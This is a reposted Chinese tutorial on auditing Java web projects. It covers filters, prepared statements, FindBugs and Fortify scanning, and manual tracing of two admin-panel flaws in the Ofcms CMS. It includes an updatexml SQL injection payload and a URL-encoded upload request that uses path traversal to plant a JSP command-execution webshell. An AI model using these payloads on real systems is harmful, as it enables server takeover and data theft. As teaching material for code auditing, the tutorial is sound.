55 代码审计-JAVA项目注入上传搜索或插件挖掘

news2024/11/26 6:18:49

目录

    • 必备知识点
    • 演示案例:
      • 简易Demo段SQL注入及预编译
      • IDEA审计插件FindBugs安装使用
      • Fortify_SCA代码自动审计神器使用
      • Ofcms后台SQL注入-全局搜索关键字
      • Ofcms后台任意文件上传-功能点测试
    • 涉及资源:

我们一般针对java项目,进行漏洞分析的话,主要是从三方面去分析,代码层面分析,还有代码引用或编写的框架,框架也会有一些安全问题。除此之外,容器搭建也会造成安全问题,这个是简要的分类,我们分析的三个方向
在这里插入图片描述
由于javaweb的语言特性和一些常规的php和脚本,大致不一样,所以在漏洞方面的类型也会有些小范围的区别,这个可以参考我们之前讲过的webgoat java环境靶场里面的常规漏洞进行分析,这个是整体的思路

这些知识点,我们前期简要的去看一下就好了,这些常规意思你下去看到查一下,记住几个就行了
这个跟我们php里面get提交、post提交比较类似
在这里插入图片描述
在这里插入图片描述

必备知识点

简要理解JAVAWEB项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAWEB执行流程
参考下图及
https://www.cnblogs.com/1987721594zy/p/9186584.html
https://blog.csdn.net/weily11/article/details/80643472

我们着重讲过滤器,他可以由配置文件指定过滤器,filter在代码中会有相关的过滤和防护,由filter 来指定,所以说java和php这些常规的脚本不同的地方,java在执行的时候会有过滤器,过滤器可以进行配置、编写
一般我们在看源代码的时候,要优先看一下源码里面有没有过滤器,过滤器的一些写法又是怎样的

com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、pojo
业务逻辑: service、biz
控制器: controller、servlet、action、web
过滤器: filter
异常: exception
监听器: listener

我们要知道这些常规命名代表什么意思
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的 Java 文件放在不同的包中,根据 Java 文件的功能统一安放及命名。

#审计思路:
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗费时间;

根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;

#审计开始前:
1、确定框架:
目的:要分析一下当前框架是否存在漏洞
通过以下三种方式确定框架:
web.xml
看导入的jar包或pom.xml
看配置文件
Struts2 配智文件:struts.xml
Spring配置文件: applicationContext.xml
Spring Mvc 配置文件: spring-mvc.xml
Hibernate 配置文件: Mibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml

确定框架是为了便于对框架进行了解,因为每个框架不同的话,那么框架的安全性也不同,我们知道Struts2曾经报过很多漏洞,特别是RCE执行漏洞,在前面几年非常火,所以你确定是这个框架开的项目之后,一旦这个框架曾经报过漏洞,或者说这个框架不怎么安全,也会对这个项目造成漏洞攻击

2、查看是否存在拦截器
通过查看web.xml文件,确定是否配置相关拦截器。

我们即使看到代码中可能存在安全问题,但是由于这个过滤器的存在,那么你在测试攻击的时候,也会受到过滤器的拦截,这个跟PHP的一些东西是不太一样的,他是把一些过滤器写到配置文件里面去,那么代码就受到过滤器的保护,所以过滤器是我们执行流程比较关注的点,因为他决定这个漏洞是否能够成功应用的一个根本

演示案例:

简易Demo段SQL注入及预编译

大家要分析java代码,是没有一些好的审计工具,大家需要安装idea工具,java开发的环境有很多idea,这里我们使用的是IntelliJ IDEA,因为这个是比较主流的
在这里插入图片描述
现在我们把项目载入进去,常规的javaweb代码,是有jsp格式去书写的,那么在有些项目里面,格式是java类型的,这个是看他的开发框架,有没有引用开发框架,如果没有引用框架,那大部分源码都是jsp的格式源码,如果有引用框架,那一般是java和jar一些的格式文件
在这里插入图片描述

在这个文件里面,一般java源码、他的web代码,一般是储存在src/main/webapp里面,还有一个是src/main/java/com.anbai.sec
在这里插入图片描述

在这里插入图片描述
一般我们是看java目录和webapp目录,一般web的源码是存放在webapp下面,在下面我们可以看到这里有些目录同时有些jsp文件,jsp文件就是一些很简单的程序源码,如果是jar的还需要对jar的源码进行反编译查看,反编译很简单,可以利用一些工具进行反编译,还可以把jar文件拖到idea里面自动进行反编译
在这里插入图片描述
我们看一下jsp代码
在这里插入图片描述
代码中出现了关键字,其中有sql语句,user在接收过来之后,并没有受到相关的影响
在这里插入图片描述
我们把项目运行起来,我们找到那个文件,后面加上参数
在这里插入图片描述
这些是运行起来中间件的信息,他可以实时监控你返回的地址信息
在这里插入图片描述
为了更加方便,我们自己开个数据库的插件工具来监听一下当前数据库的执行语句
在这里插入图片描述
我们刷新一下刚才地址,来看一下当前语句执行情况,可以看到在这边执行了sql语句,你可以看到在这边执行了sql语句,你可以看到上面采用java连接到数据库的连接请求,我们执行了sql语句
在这里插入图片描述
我们测试一下有没有注入点,我们加上去看它数据库有没有进行组合就完事了,可以看到这里爆出了1和2
在这里插入图片描述
我们接着继续进行注入,这里就是简单的demo段sql注入
在这里插入图片描述
在这里插入图片描述
列名接上参数值再配个问号这种写法就会造成预编译机制,就是防注入的情况,我们在分析注入点的时候,你在判断注入点参数,在加上这个值user = ?的时候,那这个东西一般就是采用预编译机制了
在这里插入图片描述
我们保存一下,把项目重启一下,再去测试一下刚才的注入点
你只要加上任何东西就会变成问号,这个就是java里面自带的预编译机制
在这里插入图片描述
创建预编译对象,他会把sql语句进行预编译在这里插入图片描述
典型的代码执行语句前后问题,他是防止sql注入最有效的东西,预编译机制,这个在PHP里面也有,但是php很少看到,一般在java会常看到

java里面采用预编译机制写法特别简单,只要是稍微懂点安全的人,在数据库执行加上变量的时候,会采用?,一旦写上,预编译机制就会被采用,所以这个注入就很难进行

虽然预编译机制理论上是可以绕过的,但是要看情况,它是需要看代码写法的,有些预编译是可以绕过的,大部分是绕过不了或者是很鸡肋

大家如果是在java中分析注入代码的时候,你一定要看一下sql语句的编写方式,是不是采用我们刚才安全写法的预编译机制,采用这种机制,这个注入点是很难去操作的,那么这个注入点的挖掘是可以忽略不计了

如果是下面这个写法的话,可以去追踪一下,这里有没有过滤器
在这里插入图片描述
过滤器看pom.xml
在这里插入图片描述
这个就是过滤器的申明,关键字是filter,如果有过滤器的话,就要找到过滤器的代码段,然后分析一下,这个地方会不会受到过滤器的影响
在这里插入图片描述
java代码审计整体上跟php差不多的,只是在语言设计上面有些区别,难点是代码比较难懂,在就是它自身的框架比较多

IDEA审计插件FindBugs安装使用

利用插件是用来自动分析的,一般我们进行java代码审计是人为,人为分为两方面,第一种是根据业务功能审计优点,我们要知道java项目是干嘛用的,比如说它是论坛程序、交友程序、简简单单的门户网站,我们要知道项目面对功能不一样的话,比如他是通过文件下载的站,那么就会涉及到文件操作,就会优先考虑文件下载、上传、遍历这些漏洞,所以我们通过项目的业务功能,来去着重的分析漏洞产生点

在PHP里面经常讲到的,搜索关键字,通过这些敏感函数,比如文件类操作函数,我们就通过搜索文件类操作函数来寻找文件操作类漏洞,文件上传、文件下载;如果是注入类漏洞,就搜索sql语句关键字、接收方式,我们可以通过搜索关键字来确定你要找的方向

除了人工思路之外,还可以借助工具,这种工具就是采用自动化,一种是项目的插件,还有一种是我们比较知名的代码分析神器Fortify,Fortify支持大部分的脚本,用Fortify的原因是很多工具都不支持java

用工具去分析,可以打开突破口,相当于我们不需要去想前面的事情,只需要用这两个插件帮我们跑一下,跑完之后,我们在根据上面给到的提示,再去分析代码

FindBugs是我们第二推荐的,这个插件主要是找bug,但是他里面也集成了找安全漏洞的功能

参考网上的安装文章安装一下FindBugs
在这里插入图片描述
我们选中java项目,点开始按钮,点击是
在这里插入图片描述
他这里就会分析有没有相关漏洞,从代码中分析到这个地方可能存在安全问题,我们这种看security目录,其它一些目录都是其它的,因为这个插件主要是用来分析java书写的bug
在这里插入图片描述
这里存在sql注入和csrf漏洞、弱口令、密码显示
在这里插入图片描述
我们打开看一下,他分析到代码是在这个地方有问题
在这里插入图片描述
这个插件在用的时候,顺便用一下,我个人不是很推荐,他只是说更好的帮你分析代码的工具,真正来说,它分析到漏洞的机率不是很高,还是要用Fortify

FindBugs插件有个缺点,不能分析jsp文件,这是它最大的缺点

Fortify_SCA代码自动审计神器使用

我们打开这款工具
在这里插入图片描述
由于是java项目,然后我们选择的是这个
在这里插入图片描述
他会让我们选择java的版本,这个是根据你自己电脑安装的java版本选择的
在这里插入图片描述
一般默认就可以了
在这里插入图片描述
这个扫描过程,根据你当前电脑的配置、项目大小,他会有一段时间,大部分在三、五分钟,电脑配置比较低的话,不建议用,会崩的
在这里插入图片描述
这个就是扫描结果
在这里插入图片描述
扫描出来的sql注入
在这里插入图片描述
文件就是这个地方
在这里插入图片描述
我们进行注入测试,这里就不说,就是注入点
在这里插入图片描述
在这里插入图片描述
这边命令执行,参数cmd可控
在这里插入图片描述

Fortify工具是非常好的,他能帮你自动找到脆弱点,让你直接载入进去去看,这个是工具自动化帮你分析一遍,找到切入点,你再去确定有没有这个漏洞

idea使用技巧,把代码段打开之后,编辑>查找>在路径中查找,这个就是全局查找
在这里插入图片描述
也就是在项目中查找关键字,这边可以指定范围和一些其它的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在项目中搜索select,通过关键字也能分析到一些问题
在这里插入图片描述

选中函数,点击查找使用,分析一下代码在那里出现过,就是全局搜索,定位函数差不多的意思,要看一下这个函数从那里来,我们要分析一下这个函数的过滤和一些写法,来分析他有没有过滤
在这里插入图片描述
选中方法,点击他
在这里插入图片描述
其实就是建立数据库连接的东西
在这里插入图片描述

Ofcms后台SQL注入-全局搜索关键字

我们载入项目
在这里插入图片描述
拿到源码之后,还是需要简单了解一下源码的业务功能,了解一下他整体的设计,看一下他的架构
在这里插入图片描述
在这里插入图片描述
项目依赖、配置文件
在这里插入图片描述
拿到源码之后,我们一般要看一下他的pom.xml,看完这个之后,还需要看一下web.xml
公司名称、几个目录
在这里插入图片描述
数据库版本
在这里插入图片描述
确认框架
在这里插入图片描述
我们点击外部库,看他引用了那些外部库
在这里插入图片描述
搜一下web.xml也能搜索出来
在这里插入图片描述
看到了过滤器和监听器了
在这里插入图片描述
一般我们在看项目源码的时候,优先看一下这几个文件,确定一下常规的信息之后,你整体的思路就比较明显了,就知道这个程序对应是什么套路,有什么框架加什么东西的开发

我们采取人工和工具同时进行,先使用工具对整体源码进行分析
在这里插入图片描述
然后把网站先给启动起来
在这里插入图片描述
进行插件分析也可以
在这里插入图片描述
网站已经启动成功了
在这里插入图片描述
我们看一下idea工具运行的地方,可以看到很多的sql语句交互的界面
在这里插入图片描述
搜索一下sql语句的关键字,这个地方好像有安全问题
在这里插入图片描述
这里定义了sql语句
在这里插入图片描述
sqlOrgnoToID没有被调用
在这里插入图片描述

我们进行全局搜索试一下,sqlOrgnoToID写法有问题,但是sqlOrgnoToID函数没有被调用过
在这里插入图片描述
我们搜索的时候只能搜索一些关键字进行确定,搜索数据库的操作性函数、搜索写法的关键字
Db.update猜想是数据库里面执行sql语句
在这里插入图片描述
结果可以在窗口中查询
在这里插入图片描述
这个地方可能存在sql注入点,因为他这里接收到sql语句之后,就用update执行了
在这里插入图片描述
我们查找文件地址在那里
在这里插入图片描述
文件地址找到之后,我们去访问文件,触发文件地址,第一个是要看他框架的路由;第二个看他代码里面有没有申明路由地址

在java里面有action开端的就是路由地址,也就是说访问system/generate/地址信息,就是触发文件
在这里插入图片描述
然后他定义的里面方法叫create,我们加create参数,就是触发这个方法,然后传递sql变量触发他
在这里插入图片描述
我们打开admin目录,登录后台
在这里插入图片描述
我们现在去触发地址,这个就是说我们直接访问不行,要有一些数据包构造,自己抓包进行分析,配合BP,就是分析它后台的地址信息,然后加载看是不是目录搞错了
在这里插入图片描述
我们现在就来访问这个地址
在这里插入图片描述
点击一下用户管理,触发地址链接,对照着去修改它
在这里插入图片描述
把路由地址信息替换一下
在这里插入图片描述
我们把它发出去,看一下对应界面的更改
在这里插入图片描述
我们现在要触发create方法,我们抓数据包进行分析,我们刷新看一下,我们看到源代码是没有query方法
在这里插入图片描述
我们点击增加这里看一下,写个test
在这里插入图片描述
这个就是触发方法,跟thinkPHP差不多
在这里插入图片描述
只是后面加了json,这个json是上面代码段包含文件默认的写法,要追踪一下java包,所以通过源代码之后,这个地址就会完整的构造出来
在这里插入图片描述
它给的参数名是sql就对应上了
在这里插入图片描述
在这里插入图片描述
我们构造payload发送过去,这个是根据数据库的情况决定的语句,如果是oracle数据库就是oracle数据库的注入语句,我这边是mysql

update of_cms_link set link _name=updatexml(1, concat(0x7e,(version())),0) where link_id=4

在这里插入图片描述
然后这里报错了
在这里插入图片描述
这个漏洞是产生在后台的,也就是说这个漏洞是鸡肋漏洞,他不是在前端的,前端的漏洞这个程序没有,它只有后台有这个漏洞,后台有这个漏洞的意义是可以操纵数据库,通过这个sql语句拿网站权限,因为后台到网站权限还有一步之遥,所以你发现这个漏洞之后,可以通过这个漏洞获取网站权限,但是这个是代码分析,分析到了sql注入漏洞

Ofcms后台任意文件上传-功能点测试

模板这里有修改文件的,其实这是个上传文件的地方
在这里插入图片描述
点保存,我们抓个包,这个地址对应save文件
在这里插入图片描述
我们搜索save方法,找到对应文件的函数
在这里插入图片描述
操作代码在这里,这里就是典型的文件接收过来的写入文件,它其实就是文件上传写入,在这个地方没有过滤
在这里插入图片描述
我们只要满足这几个参数值传递过去,就能实现文件的写入

file_path=$dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22pOdesta%22.equals(request.getParameter(%22pwd%22)))%7b%OA++++++++java.io.InputStreamt+in+*3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputstream()%3A%0A++++++++int+a+%3D+-1%3B%0A+++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A+++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

在这里插入图片描述
上传成功
在这里插入图片描述
在这里插入图片描述
就是我们写入的代码
在这里插入图片描述
这个就是典型的功能点导入文件的分析,通过代码上面的地址信息,分析这个地方有没有相关过滤,如何实现过滤

我们从两方面入手,第一方面全局搜索关键字找特定漏洞的代码段,第二方面,网站搭建完,测试功能点,然后抓包,通过抓包的地址信息来找到对应代码段,然后分析代码段的情况

有些框架会把函数进行整改,这个是接收函数
在这里插入图片描述
但真正来讲函数是这样写的,它把函数给重新定义了,这样我们去搜索的话,就搜索不到原型,这个就是搜索关键字不好的一点,不过你通过源代码阅读分析的话,把这个东西找到是一样的道理
在这里插入图片描述
这是ofcms的两个鸡肋漏洞,因为都是在后台,前端没有漏洞,不过我们熟悉的是它整体代码的分析

从分析过程中,大家也都知道java和php的区别,第一个是代码上的区别,第二个主要是java文件对应地址的区别,这是一个比较核心的点
一些文件里面你要看路由地址
在这里插入图片描述
然后你抓包的时候看一下
在这里插入图片描述
这个路由一般会在里面申明,thinkphp里面是官方的,这个也是遵循java怎么写的,所以你要翻文件,来确定这个文件的写法;它常规的过滤器写法,sql语句的写法是它自带的,预编译机制,java语言的特性

我们懂一些pyhon、php、c++,看java代码应该能看一些明白,因为很多代码的英文单词已经写的很清楚了,save就是保存在这里插入图片描述
javaweb代码审计之所以难,是因为它的框架不一样,框架不一样,它的安全问题也不一样,就好比我们php里面使用thinkphp开发的源码,它就遵循thinkphp里内置的安全规则;java也是一样,假设你是用struts2开发的,那struts2的安全属性流程你就要按照它的来,我们讲框架漏洞只能抽其中一两个去讲,太多框架讲不完

这个框架的选用是根据网站自身决定的,常用的框架就那几种,如果网站是专门对数据库进行操作的,就选用ORM型框架,例如MyBatis框架和Hibernate框架;文章显示,会以这三种SpringMVC,Struts2框架,Spring框架,java程序有多个框架,这就是java代码审计为什么难的原因,网站用什么框架,那网站的安全就归那个框架使用,你使用什么框架就遵循它引用的规则,就会应用它自身的过滤器进行拦截,对攻击进行防护,struts2报过安全漏洞,所以框架在引用的时候,会导致源码的安全性问题;框架安全的话,源码就安全

vulhub有很多中间件漏洞,中间件漏洞不属于代码层面的,它是它中间件自身的代码漏洞
在这里插入图片描述

涉及资源:

https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1319408.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于“Python”的核心知识点整理大全26

目录 10.3.9 决定报告哪些错误 10.4 存储数据 10.4.1 使用 json.dump()和 json.load() number_writer.py number_reader.py 10.4.2 保存和读取用户生成的数据 对于用户生成的数据,使用json保存它们大有裨益,因为如果不以某种方式进行存储&#xf…

LeetCode - 460 LFU缓存(Java JS Python)

题目来源 460. LFU 缓存 - 力扣(LeetCode) 题目描述 请你为 最不经常使用(LFU)缓存算法设计并实现数据结构。 实现 LFUCache 类: LFUCache(int capacity) - 用数据结构的容量 capacity 初始化对象int get(int key)…

[软件] Beyond Compare4

界面简介 文件夹比较, 文本比较, 合并等非常有用的软件, 尤其是在对比代码上面, 有时候很难找到自己的代码和别人的代码到底哪里出现了区别, 这个软件就非常有效了.

智能制造网络:连接未来制造业

数字化在制造业中已经成为国家战略和行业升级的显著趋势。其影响不仅深刻地触及到个人生活,也在国家层面产生了重大影响,涉及经济、国防和军事等多个领域。在制造业数字化转型的进程中,构建坚实的基础网络被视为确保数字化生产全过程顺畅运作…

什么胶能粘PP塑料?

在日常生活中或实际制造业中,会遇到需要将PP塑料(聚丙烯)与其他物质粘合的情况,我们会选择使用胶水来粘合。那么,究竟什么样的胶水能更好的粘合PP塑料呢? PP塑料是一种非极性材料,表面通常比较…

【兔子王赠书第12期】赠ChatGPT中文范例的自然语言处理入门书

文章目录 写在前面自然语言处理图书推荐图书简介编辑推荐 推荐理由粉丝福利写在后面 写在前面 小伙伴们好久不见吖,本期博主给大家推荐一本入门自然语言处理的经典图书,一起来看看吧~ 自然语言处理 自然语言处理(Natural Language Process…

Linux---远程登录、远程拷贝命令

1. 远程登录、远程拷贝命令的介绍 命令说明ssh远程登录scp远程拷贝 2. ssh命令的使用 ssh是专门为远程登录提供的一个安全性协议,常用于远程登录,想要使用ssh服务,需要安装相应的服务端和客户端软件,当软件安装成功以后就可以使…

百分比组件 - elementui改动

<el-slider v-model"value2" style"width: 87%;position: absolute;bottom: 9px;" disabled :show-tooltip"false"></el-slider>value2: 0,// 百分比条 ::v-deep .el-slider__runway.disabled .el-slider__bar {background-color: #…

饥荒Mod 开发(十一):修改物品堆叠

饥荒Mod 开发(十)&#xff1a;制作一把AOE武器 饥荒Mod 开发(十二)&#xff1a;一键制作 饥荒中物品栏有限&#xff0c;要拾取的物品有很多&#xff0c;经常装不下要忍痛丢掉各种东西&#xff0c;即使可以将物品放在仓库但是使用不方便&#xff0c;所以可以将物品的堆叠个数设…

springcloud:对象存储组件MinIO

类似于FastDFS/HDFS的一个文件存储服务&#xff01; SpringBoot整合MinIO实现分布式文件服务&#xff01; #MinIO简介&#xff1f; Minio 是个基于 Golang 编写的开源对象存储套件&#xff0c;基于Apache License v2.0开源协议&#xff0c;虽然轻量&#xff0c;却拥有着不错的…

低代码开发平台的优势及应用场景分析

文章目录 低代码是什么&#xff1f;低代码起源低代码分类低代码的能力低代码的需求市场需要专业开发者需要数字化转型需要 低代码的趋势如何快速入门低代码开发低代码应用领域 低代码是什么&#xff1f; 低代码&#xff08;Low-code&#xff09;是著名研究机构Forrester于2014…

JS中的模板字符串(ES6中的模板字面量语法),什么是模板字符串、怎么使用,附代码演示

模板字符串 1、JavaScript 在 ES6 新增了模板字符串语法。模板字符串可以作为普通字符串使用&#xff0c;其作用是可以在字符串中换行&#xff08;也就是支持多行字符串&#xff09;以及将变量和表达式插入字符串。 2、整个语法&#xff1a;使用反引号 &#xff0c;而不是单引…

如何绘制甘特图?

甘特图(Gantt chart) 又叫横道图、条状图(Bar chait)。它是在第一次世界大战时期发明的&#xff0c;以亨利I甘特先生的名字命名&#xff0c;他制定了一个完整地用条形图表进度的标志系统。甘特图内在思想简单&#xff0c;即以图示的方式通过活动列表和时间刻度形象地表示出任何…

【C++高阶(七)】C++异常处理的方式

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:C从入门到精通⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习C   &#x1f51d;&#x1f51d; 异常处理的方式 1. 前言2. C语言处理异常的方式…

【密码学】群的证明(习题)

0.前置知识 1.习题 记录一次密码学作业~群的判定 2.求解

Chrome2023新版收藏栏UI改回旧版

版本 120.0.6099.109&#xff08;正式版本&#xff09;Chrome浏览器菜单新版、旧版的差异 想要将书签、功能内容改回旧版的朋友可以网址栏输入&#xff1a;「chrome://flags」&#xff0c;接着搜寻「Chrome Refresh 2023」。 最后将 Chrome Refresh 2023、Chrome Refresh 2023…

HNU-数据库系统-实验1-数据定义/数据操纵

数据库系统 课程实验1数据定义/数据操纵 计科210X 甘晴void 202108010XXX 目录 文章目录 数据库系统 课程实验1<br>数据定义/数据操纵实验目的实验样例实验环境实验内容1.1 数据库定义1&#xff09;实验内容与要求2&#xff09;实验重难点3&#xff09;实验基础知识①模…

【JAVA-Day69】抛出异常的精髓:深度解析 throw、throws 关键字,优雅处理异常问题

抛出异常的精髓&#xff1a;深度解析 throw、throws 关键字&#xff0c;优雅处理异常问题 &#x1f680; 抛出异常的精髓&#xff1a;深度解析 throw、throws 关键字&#xff0c;优雅处理异常问题 &#x1f680;一、什么是抛出异常 &#x1f60a;二、如何抛出异常 &#x1f914…

复合型下拉框

element只提供了复合型输入框&#xff0c;复合型下拉框的效果&#xff0c;我是通过button与el-select拼接形成的&#xff0c;代码如下&#xff1a; <div class"form"><button class"btn">是否需要审核</button><el-select v-model&q…

C语言之文件操作(上)

C语言之文件操作&#xff08;上&#xff09; 文章目录 C语言之文件操作&#xff08;上&#xff09;1. 什么是⽂件&#xff1f;1.1 程序⽂件1.2 数据⽂件1.3 ⽂件名 2. ⼆进制⽂件和⽂本⽂件3. ⽂件的打开和关闭3.1 流和标准流3.1.1 流3.1.2 标准流 4. ⽂件指针5. 文件的打开与关…